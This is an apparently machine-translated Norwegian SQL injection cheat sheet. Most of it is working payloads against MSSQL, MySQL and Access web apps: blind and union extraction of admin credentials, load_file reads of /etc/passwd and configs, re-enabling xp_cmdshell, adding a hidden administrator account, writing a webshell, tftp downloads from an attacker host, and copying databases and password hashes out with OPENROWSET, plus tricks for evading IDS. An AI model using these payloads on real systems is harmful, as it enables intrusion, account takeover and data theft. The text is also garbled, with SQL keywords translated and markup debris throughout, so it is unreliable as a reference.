MSSQL kryssdatabase-spørringer (stinkende mat!) Mørk)
Få ut hver eneste dråpe av MS SQL
SQL-setningsreferanser og postsettobjekter forklares i detalj
Om lagrede prosedyrer i SQL Server
Lag et webshell med mssql-backup
SQL_Injection avanserte anvendelser
Cross-site SQL-injeksjon (laokai)
Merkelig SQL-injeksjon (AMANL)
Avansert SQL-injeksjon i SQL Server-applikasjoner
Hvordan bruke SQL-injeksjon for å gå gjennom kataloger
Gjennomgang av SQL-injeksjonsteknikker (Oversetter: demonalex)
Noen angrep på SQL-databaser
SQL-injeksjonsangrepsteknikk (JSW)
SQL_Injection avanserte applikasjoner (APACHY)
Uvanlige metoder for SQL-injeksjon (Guilin-veteran)
Ta backup av et skall
Snakk om php+mysql-injeksjonsstrukturen (Heyhehehehe·≯Super· Hei)
Avansert SQL-injeksjon med MySQL(angel)
L'injection (My)SQL via PHP
Oracle SQL Language
SQL manuell injeksjonsleksikon
Forutsetninger krever verktøy: SQL Query Analyzer og SqlExec Sunx Version ============================================================================================== 1. Finne ut om det finnes et injeksjonspunkt ; og 1=1 og 1=2 2. Gjetter at navnet på tabellen ikke er annet enn admin, admin, brukerpass, passord, osv.: og 0<>(velg tell(*) fra *) og 0<>(velg tell(*) fra admin) — Finn ut om admin-tabellen eksisterer 3. Gjett antall kontoer Hvis du møter 0< gå tilbake til riktig side 1< returner feilsiden for å indikere at antall kontoer er 1 og 0<(velg tell(*) fra admin) og 1<(velg antall(*) fra administrasjon) 4. Gjett feltnavnet Legg til feltnavnet vi tenker på i len( ) klammerne. og 1=(velg antall(*) fra admin hvor len(*)>0)– og 1=(velg antall(*) fra admin hvor len(brukernavn)>0) og 1=(velg antall(*) fra admin hvor len(_blank>passord feltnavn)>0) 5. Gjett lengden på hvert felt Gjett lengden er å transformere >0 til riktig side returneres og 1=(velg antall(*) fra admin hvor len(*)>0) og 1=(velg antall(*) fra admin hvor len(name)>6) feil og 1=(velg antall(*) fra admin hvor len(name)>5) Korrekt lengde er 6 og 1=(velg antall(*) fra admin der len(name)=6) er korrekt og 1=(velg tell(*) fra admin der len(password)>11) er korrekt og 1=(velg antall(*) fra admin hvor len(password)>12) feillengde er 12 og 1=(velg tell(*) fra admin der len(password)=12) er korrekt 6. Gjett karakterene og 1=(velg antall(*) fra admin hvor venstre(navn,1)=a) — Gjett det første sifferet på brukerens konto og 1=(velg antall(*) fra admin hvor venstre(navn,2)=ab)—Gjett det andre sifferet i brukerens konto Bare legg til ett tegn om gangen for å gjette, gjett så mange sifre som du nettopp gjettet, så kommer kontonummeret ut (1) Gjett navnet på bordet
Brukte setninger: og eksisterer (velg * fra tabellnavn)
For eksempel: og eksisterer (velg * fra admin)
Hvis siden gir riktig ekko, betyr det at tabellnavnet vi gjettet her er riktig, og hvis siden er feil, betyr det at tabellnavnet vi skrev her er feil
, så endrer du navnet på bordet og fortsetter å gjette til du gjetter.
Vanligvis inkluderer vanlige tabellnavn admin, administrer, bruker, eller å sette det inn i verktøykjøringen (2) Gjett feltet
Brukte setninger: og eksisterer (velg feltnavn fra tabellnavn)
For eksempel: og eksisterer (velg brukernavn fra administrator)
Her, forutsatt at admin-tabellen er tabellen jeg gjettet riktig ovenfor, vil jeg finne ut om brukernavn-feltet finnes, jeg må bruke denne setningen, hvis siden
Hvis ansiktsekkoet er korrekt, betyr det at feltnavnet vi gjettet her er korrekt, og hvis siden er feil, betyr det at feltnavnet vi skrev her er feil
, så endrer du feltet og fortsetter å gjette til du gjetter.
Generelt inkluderer vanlige feltnavn brukernavn, passord, bruker, pass, navn, pass, pwd, usr, psd og andre felt (3) orden etter
Order by er å få summen av antall felt på den siden, og forberede neste felles spørring (4) Union Select
1. Hvis du støtter felles spørring, finn visningsbiten http://www.xxx.com/product_show.asp?id=1 og 1=2 union select
1,2,3,4,5,6,7,8,9,10,11 Anta at visningsbitene er 5,6. Deretter trenger vi bare å erstatte feltnavnene som tilsvarer administratorens brukernavn og passord med posisjonen til visningsbiten her
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 fra admin fant bakgrunnsinnloggingen 2. Hvis felles spørring ikke støttes Administratorens brukernavn og passord kan ikke hentes uten felles spørring – ved hjelp av Ascii ordrett dekoding To Bruk order by for å vurdere antall biter i tabellen, og hvis det ikke fungerer, bruk union select for å arrangere dem én etter én, her antar vi 8 biter Tre Bruk en felles spørring for å bestemme visningsbitene Fire Bruk visningsbiten for å finne databasenavnet, databaseversjon, 5.0 eller nyere kan injiseres
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,bruker(),0x5c, versjon()),8 Fem Med databasenavnet kan du begynne å hente tabellnavnet skjema = etterfulgt av HEX-verdien til databasenavnet, og gjette tabellnavnet
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8 +fra+information_schema.columns+hvor+ table_schema=0x666C6965725F6462617365 Seks Det analyserte tabellnavnet bestemmer HEX-verdien til administratorens tabellnavn=tabellnavn, og gjetter feltene i tabellen http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINKT
+column_name),8+ from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572 Sytten Etter å ha hentet feltene i admin-tabellen, la oss hente innholdet i feltene http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINKT
+brukernavn, 0x5f,userpwd),8+from+pub_webmaster Åtte Verktøyet skanner bakgrunnen: Logg inn for å laste opp trojaneren etter å ha funnet den, og hvis du ikke finner robots.txt-filen kan du få tilgang til den Ni Hvis du ikke finner bakgrunnen, vil passordet til MYSQL-administratoren bli avslørt http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(bruker,passord),8+fra+mysql.user Ti Få tilfeldig tilgang til en sti, og tilbakemeldingen er 404-standardsiden i IIS6, som indikerer at nettsideserveren er: Windows+IIS6+php+MySql-miljøet c:\\windows\\system32\\inetsrv\MetaBase.xml\ Denne stien kan hente nettsidens konfigurasjonsinformasjon. Konstruksjonsutsagn http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8 Elleve Analyser koden og finn bakgrunnsadressen I det første steget må vi få lengden på feltene i tabellen Brukte utsagn: og (velg topp 1 len(feltnavn) fra tabellnavn)>0 Som hva: og (velg topp 1 len(admin_name) fra admin)>0 Siden vises normalt, lengden på feltet admin_name er større enn 0, og jeg vil sende inn:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10 Siden viser en feilmelding som sier at feltet er mellom 0 og 10, og lengden er 5 ved bruk av dikotomien Ved å bruke samme metode for å bestemme lengden på feltet for administratorens passord, får jeg en lengde på 16 Steg 2 La oss nå gå videre til det andre steget, ta et bestemt tegn i feltet, og få ASCII-koden til tegnet, som brukes
Uttalelse: og (velg topp 1 asc(mid(feltnavn, N,1)) fra tabellnavn)>0 La meg se på denne setningen separat, først den innerste mid(username, 1,1)-funksjonen, som er det første tegnet i admin_name-feltet, N
indikerer at de første tegnene skal avskjæres, Deretter representerer den ytre asc()-funksjonen, som konverterer tegnene interceptet av mid-funksjonen til ASCII-kode, den ytterste øverste 1, returfeltet til første plass
En rekord, da, ">0" på slutten er for å sammenligne den konverterte ASCII-koden med dette tallet, og til slutt få avskjæringen ved å stadig endre siste verdi
Få tak i detaljene om denne karakteren ASCII-kode Innsending:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30 Siden vises normalt, noe som indikerer at ASCII-koden til dette tegnet er større enn 30. Innsending:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90 Siden vises normalt, noe som indikerer at ASCII-koden til dette tegnet er større enn 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97 ASCII-koden jeg endte opp med for denne karakteren er 97 Sammenlign ASCII-tabellen: Det kan konkluderes med at det første tegnet er "a". Deretter vil jeg vurdere ASCII-koden til den andre karakteren.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90 Siden vises normalt, noe som indikerer at ASCII-koden til tegnet er større enn 90, og den siste verdien endres alltid Den samme metoden ga administratorens passord, og resultatet jeg fikk var:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52 og 1=(velg topp 1 tell(*) fra Admin hvor Asc(mid(pass,5,1))=51) – Denne spørringssetningen kan gjette den kinesiske brukeren og _blank> passordet. Bare bytt ut følgende numre med den kinesiske ASSIC-koden
Konverter til karakterer.
Grupper med users.id som har 1=1–www.myhack58.com Gruppere etter users.id, brukere.brukernavn, brukere.passord, brukertillatelser med 1=1– ; sett inn i brukerverdier (666, attacker, foobar, 0xffff)–
UNION Select TOPP 1 COLUMN_blank>_NAME FRA INFORMATION_blank>_SCHEMA. KOLONNER Hvor
TABLE_blank>_NAME=logintable- UNION Select TOPP 1 COLUMN_blank>_NAME FRA INFORMATION_blank>_SCHEMA. KOLONNER Hvor
TABLE_blank>_NAME=innloggingstabell Hvor COLUMN_blank>_NAME IKKE I (login_blank>_id)- UNION Select TOPP 1 COLUMN_blank>_NAME FRA INFORMATION_blank>_SCHEMA. KOLONNER Hvor
TABLE_blank>_NAME=innloggingstabell Hvor COLUMN_blank>_NAME IKKE INN
(login_blank>_id,login_blank>_name)- UNION Velg TOPP 1 login_blank>_name FRA påloggingstabell- UNION Velg TOPP 1 passord FRA innloggingstabell hvor login_blank>_name=Rahul– Se på patchen spilt av _blank>-serveren = feil SP4-patch svart sikkerhetsnett og 1=(velg @@VERSION)–
Se på tillatelsene til _blank> databasetilkoblingskonto, og den returnerer normalt, noe som beviser at det er sysadmin-tillatelsen til _blank> server-rollen. og 1=(Velg IS_blank>_SRVROLEMEMBER(sysadmin))–
Finn ut om databasekontoen _blank> tilkoblet. (Bruk SA-konto for å koble til og returnere normal = bevis at den tilkoblede kontoen er SA) og sa=(Velg System_blank>_user)– og user_blank>_name()=dbo– og 0<>(velg user_blank>_name()–
Se om xp_blank>_cmdshell sletter og 1=(Velg tell(*) FRA master.dbo.sysobjects hvor xtype = X OG navn = xp_blank>_cmdshell)
–
xp_blank>_cmdshell slettes, gjenopprettes og støtter absolutt stigjenoppretting ; LEDER master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll– ; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll– ============================== databasetillatelse er eksponert for den fysiske stikoden til nettsiden
========================================================================== 1、slippbord [jm_tmp]; Opprett tabell [jm_tmp](verdi navrchar(4000) null, data nvarchar(4000)
null) -- Opprett tabell
2、 slett [jm_tmp]; sett inn [jm_tmp] executive master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--
Sett inn site-katalogen i tabellfeltet
3、og (velg topp 1 cast([data] som nvarchar(4000) char(124) fra [jm_tmp] Order by [data]
beskrivelse)=0 '//eksponert felt
4. Slipp tabell [jm_tmp] -- Slett denne tabellen. for at kommandoen skal hente granaten
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i >>d:\Andre stasjonsstier ======================load_file() Ofte brukt sensitiv informasjon =========================================== 1、 erstatte(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、erstatte(load_file(char(47,101,116,99,47,112,97,115,115,119,100)), char(60),char(32)) De to ovennevnte er for å vise en PHP-fil som viser koden fullt ut. Det finnes tider hvor noen tegn ikke er erstattet, som "<" i stedet for "space" som kommer tilbake
Nettside. Og koden kan ikke vises.
3. load_file(char(47)) kan liste rotkatalogen til FreeBSD- og Sunos-systemer
4. Se Linux APACHE virtuell vertskonfigurasjonsfil i /etc/httpd/conf/httpd.conf eller /usr/local/apche/conf/httpd.conf
5. C:\Program Files\Apache Group\Apache\conf\httpd.conf eller C:\apache\conf\httpd.conf for å se WINDOWS
System Apache-fil
6. c:/Resin-3.0.14/conf/resin.conf Se resinfilkonfigurasjonsinformasjonen til nettstedet utviklet av jsp.
7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf for å se den virtuelle JSP-verten konfigurert på Linux-systemet
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin eksplodersti
11. C:\Windows\system32\inetsrv MetaBase.xml\ Se den virtuelle vertskonfigurasjonsfilen til IIS
12. /usr/local/resin-3.0.22/conf/resin.conf for å se RESIN-konfigurasjonsfilen for 3.0.22
13. /usr/local/resin-pro-3.0.22/conf/resin.conf Samme som ovenfor
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtuell vert
15. /etc/sysconfig/iptables avhenger av brannmurpolicyen
16. /usr/local/app/php5 b/php.ini PHP-ekvivalente innstillinger
17. /etc/my.cnf MYSQL konfigurasjonsfil
18. /etc/redhat-release systemversjon av Red Hat
19 、C:\mysql\data\mysql\user. MYD finnes i brukerpassordet i MYSQL-systemet
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 for å se IP.
21. /usr/local/app/php5 b/php.ini //PHP-relaterte innstillinger
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // virtuelle nettsideinnstillinger
23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25. /etc/issue viser distribusjonsinformasjonen til Linux-kjernen
26、/etc/ftpuser
27. Sjekk operasjonsloggfilen under LINUX user.bash_history eller .bash_profile
28、/osv/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log ======================================================== Eksperimenter med omvendt PING selv ; bruk master; erklær @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s ut; Administrerende direktør
sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –
Legg til en konto ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–
Opprett en virtuell katalog E-disk: ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, kjør,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–
Tilgang til attributter: (med skriving til et webshell) declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, kjør,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
Spesiell _blank> triks for å burste biblioteket: :%5c=\ eller modifiser %5 med / og \ for å committe og 0<>(velg topp 1 stier fra newtable)–
Få databasenavnet (fra 1 til 5 er ID-ene til systemet, og du kan vurdere dem over 6) og 1=(velg navn fra master.dbo.sysdatabases hvor dbid=7)– og 0<>(velg tell(*) fra master.dbo.sysdatabases hvor name>1 og dbid=6) Send inn dbid i tur = 7,8,9.... Få flere _blank> databasenavn
og 0<>(velg toppnavn 1 fra bbs.dbo.sysobjects hvor xtype=U) burster inn i en tabell med antakelse om admin og 0<>(velg øverste 1-navn fra bbs.dbo.sysobjects der xtype=du og navn ikke er i (Admin)).
Andre bord. og 0<>(velg tell(*) fra bbs.dbo.sysobjects hvor xtype=du og name=admin og uid>(str(id))) Den numeriske verdien til UID antas å være 18779569 uid=id og 0<>(velg toppnavn 1 fra bbs.dbo.syscolumns hvor id=18779569) får et felt med admin, false
Satt til user_blank>_id og 0<>(velg toppnavn 1 fra bbs.dbo.syscolumns der id=18779569 og navn ikke er i (id,...)) for å eksponere andre felt og 0<(velg user_blank>_id fra BBS.dbo.admin hvor brukernavn>1) for å få brukernavnet Til gjengjeld kan du få passordet _blank>。。。。。 Anta at det finnes felt som user_blank>_id brukernavn, passord, osv
og 0<>(velg tell(*) fra master.dbo.sysdatabases hvor name>1 og dbid=6) og 0<>(velg øverste 1-navn fra bbs.dbo.sysobjects hvor xtype=U) for å hente tabellnavnet og 0<>(velg øverste navn 1 fra bbs.dbo.sysobjects hvor xtype=du og navn ikke i(Adresse)) og 0<>(velg antall(*) fra bbs.dbo.sysobjects hvor xtype=you og name=admin og uid>(str(id)))
Bestem id-verdien og 0<>(velg øverste 1-navn fra BBS.dbo.syscolumns hvor id=773577794) alle felt
?id=-1 union velg 1,2,3,4,5,6,7,8,9,10,11,12,13,* fra admin ?id=-1 union velg 1,2,3,4,5,6,7,8,*,9,10,11,12,13 fra admin (union, tilgangen er også enkel å bruke)
Få WEB-veien ; Lag tabell [DBO]. [bytte] ([swappass][char](255)); – og (velg topp 1 swappass fra swap)=1– ; Create TABLE newtable(id int IDENTITY(1,1), paths varchar(500)) Deklar @test varchar(20) exec
Mester.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, verdier=@test
OUTPUT sett inn i paths(path)-verdier(@test)– ; bruk ku1; – ; opprett tabell-cmd (STR-bilde); – Lag en tabell-cmd for bildetypen 1. Måten å fjerne xp_cmdshell-utvidelsesprosessen på er å bruke følgende utsagn:
hvis finnes (velg * fra dbo.sysobjects der id=object_id(N'[dbo].[ xpcmdshell]') og
OBJECTPROPERTY(id,N'IsExtendedProc')=1) utøvende sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
2. Måten å legge til xp_cmdshell utvidelsesprosessen på er å bruke følgende utsagn:
(1) SQL Query Analyzer
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2) Fyll først inn %s i Format-alternativet i SqlExec Sunx Version og skriv det inn i CMD-alternativet
sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
Fjern
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell','xplog70.dll' Det finnes xp_blank>_cmdshell testprosesser: ; Exec Master.. xp_blank>_cmdshell regi ; administrerende master.dbo.sp_blank>_addlogin Jiaoniang$; – Legg til SQL-kontoer ; utøvende master.dbo.sp_blank>_password null, jiaoniang$,1866574; – ; exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin; – ; exec master.dbo.xp_blank>_cmdshell netbruker jiaoniang$ 1866574 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add;– ; exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add; – Exec Master.. xp_blank>_servicecontrol starter, planlegg for å starte _blank> service Exec Master.. xp_blank>_servicecontrol start, server ; DEKLAR @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c nettbruker jiaoniang$ 1866574 /add ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add ; Exec Master.. xp_blank>_cmdshell tftp -i youip get file.exe – Last opp filer med TFTP
; Deklarer @a sysname-sett @a=xp_blank>_+cmdshell exec @a dir c:\ ; Deklarer @a sysname-sett @a=xp+_blank>_cm'+'dshell exec @a dir c:\ ; erklær @a; sett @a=db_blank>_name(); Backup database @a til disk=din IP Din delte mappe bak.dat Hvis begrenset, ja. velg * fra openrowset(_blank>sqloledb,server; sa; , velg OK! Administrerende direktør
master.dbo.sp_blank>_addlogin hax)
Spørringsstruktur: Velg * FRA nyheter Hvor id=... OG tema=... OG ..... adminand 1=(velg teller(*) fra [bruker] hvor brukernavn=victim og right(left(userpass,01),1)=1)
og UserPass <> velg 123; – ; bruk master; – :a eller navn som fff%; – Viser en bruker kalt ffff. og 1<>(velg antall (e-post) fra [bruker]); – ; oppdater [brukere] sett e-post=(velg topp 1 navn fra sysobjects hvor xtype=du og status>0) hvor
Name=FFFF; – ; Oppdater [brukere] Sett e-post=(velg topp 1-ID fra sysobjects hvor xtype=du og name=ad) hvor
Name=FFFF; – ; Oppdater [brukere] Sett e-post=(velg topp 1 navn fra sysobjects hvor xtype=du og id>581577110)
hvor navn=ffff; – ; Oppdater [brukere] Sett e-post=(velg topp 1 telling(ID) fra passordet) hvor navn=FFFF; – ; Oppdater [brukere] Sett e-post=(velg øverste 1 PWD fra passord hvor ID=2) hvor navn=FFFF; – ; Oppdater [brukere] Sett e-post=(velg øverste 1 navn fra passord hvor ID=2) hvor Navn=FFFF; – Setningen ovenfor er å hente den første brukertabellen i _blank>-databasen og legge inn tabellnavnet i e-postfeltet til ffff-brukeren. Ved å se brukerprofilen til ffff kan du få den første tabellen kalt AD Få deretter ID-en til denne tabellen i henhold til bordnavnet og for å få navnet på den andre tabellen
sett inn i users values( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)– sett inn i brukernes verdier(667,123,123,0xffff)– sett inn i brukernes verdier (123, admin–, passord, 0xffff)– ; og bruker>0 ; og (velg tell(*) fra sysobjects)>0 ; og (velg tell(*) fra mysysobjects)>0 // for access_blank>-databasen
List opp navnet på datatabellen ; Oppdater AAA-sett AAA=(velg topp 1-navn fra sysobjects hvor xtype=du og status>0); – Her oppdateres det første tabellnavnet til feltet AAA. Les den første tabellen, og den andre tabellen kan leses slik (legg til og navn etter betingelsen<> navnet på tabellen du nettopp fikk). ; Oppdater AAA-sett AAA=(velg topp 1-navn fra sysobjects hvor xtype=du og status>0 og
navn<>stemme); – Da id=1552 og eksisterer (velg * fra aaa hvor aaa>5) Les opp den andre tabellen og les den én etter én til det ikke er noe igjen. Lesefeltet ser slik ut: ; oppdater AAA-sett AAA=(velg topp 1 col_blank>_name(object_blank>_id(tabellnavn),1)); – Da får id=152 og eksisterer (velg * fra aaa hvor aaa>5) får en feil og får feltnavnet ; oppdater AAA-settet AAA=(velg topp 1 col_blank>_name(object_blank>_id(tabellnavn),2)); – Da får id=152 og eksisterer (velg * fra aaa hvor aaa>5) får en feil og får feltnavnet
[Få navn på datatabellen] [Oppdater feltverdien til tabellnavnet, og les deretter opp verdien av dette feltet for å hente tabellnavnet] Oppdater tabellnavn sett felt=(velg øverste 1 navn fra sysobjects hvor xtype=du og status>0 [ og navn<>
Tabellnavnet du får Finn én pluss én]) [ hvor betingelse] velg øverste 1-navn fra sysobjects hvor xtype=du og
status>0 og navn ikke i (tabell1,tabell2,...) Opprettelse av en databaseadministratorkonto og en systemadministratorkonto _blank> _blank> sårbarhetsinjeksjon gjennom SQLSERVER [Den nåværende kontoen må være SYSADMIN-gruppen]
[Få datatabellens feltnavn] [Oppdater feltverdien til feltnavnet, og les deretter opp verdien av dette feltet for å hente feltnavnet] oppdater tabellnavn sett felt=(velg topp 1 col_blank>_name(object_blank>_id (datatabellnavn skal spørre), feltkolonne
For eksempel: 1) [ hvor betingelsen ]
Omgåelse av IDS-deteksjon [ved bruk av variabler] ; Deklarer @a sysname-sett @a=xp_blank>_+cmdshell exec @a dir c:\ ; Deklarer @a sysname-sett @a=xp+_blank>_cm'+'dshell exec @a dir c:\
1. Åpne den eksterne _blank>databasen Grunnleggende syntaks velg * fra OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, velg * fra tabell1 ) Parametere: (1) OLEDB-leverandørens navn 2. Tilkoblingsstrengparameteren kan være hvilken som helst port å koble til, slik som velg * fra OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Nettverk=DBMSSOCN; Adresse=192.168.0.1,1433; ,
Velg * fra tabellen 3. Kopier hele _blank>-databasen til målverten og sett inn alle eksterne tabeller i den lokale tabellen.
Grunnleggende syntaks: sett inn i OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, velg * fra tabell1) velg
* fra tabell2 Denne linjesetningen kopierer all data fra table2-tabellen på målverten til table1-tabellen i den eksterne _blank>-databasen. Passende reparasjoner i praktisk bruk
Endre IP-adressen og porten til tilkoblingsstrengen slik at den peker dit du trenger den, for eksempel: sett inn i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Nettverk=DBMSSOCN; Adresse=192.168.0.1,1433; ,velg
* fra tabell1) velg * fra tabell2 sett inn i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Nettverk=DBMSSOCN; Adresse=192.168.0.1,1433; ,velg
* fra _blank>_sysdatabases) velg * fra master.dbo.sysdatabases sett inn i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Nettverk=DBMSSOCN; Adresse=192.168.0.1,1433; ,velg
* fra _blank>_sysobjects) velg * fra user_blank>_database.dbo.sysobjects sett inn i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Nettverk=DBMSSOCN; Adresse=192.168.0.1,1433; ,velg
* fra _blank>_syscolumns) velg * fra user_blank>_database.dbo.syscolumns Repliker _blank> database: sett inn i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Nettverk=DBMSSOCN; Adresse=192.168.0.1,1433; ,velg
* fra tabell1) velg * fra databasen.. Tabell1 sett inn i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Nettverk=DBMSSOCN; Adresse=192.168.0.1,1433; ,velg
* fra tabell2) velg * fra databasen.. Tabell2
Hashen til passordet som kopierer hashtabellens (HASH) innlogging _blank> passord lagres i sysxlogins. Slik gjør du: sett inn i OPENROWSET(SQLOLEDB,
uid=sa; pwd=123; Nettverk=DBMSSOCN; Adresse=192.168.0.1,1433; ,velg * fra _blank>_sysxlogins)
velg * fra database.dbo.sysxlogins Når du får hashen, kan du brute force.
For å gå gjennom katalogen: Først opprett en midlertidig tabell: temp ; lag tabelltemperatur (id nvarchar(255), num1 nvarchar(255), num2 nvarchar(255), num3 nvarchar(255)); – ; sett inn midlertidig leder master.dbo.xp_blank>_availablemedia; – Hent alle strømstasjoner ; sett inn i temp(id) executive master.dbo.xp_blank>_subdirs c:\; – Få en liste over underkataloger ; sett inn i temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Hent katalogtrestrukturen for alle underkataloger,
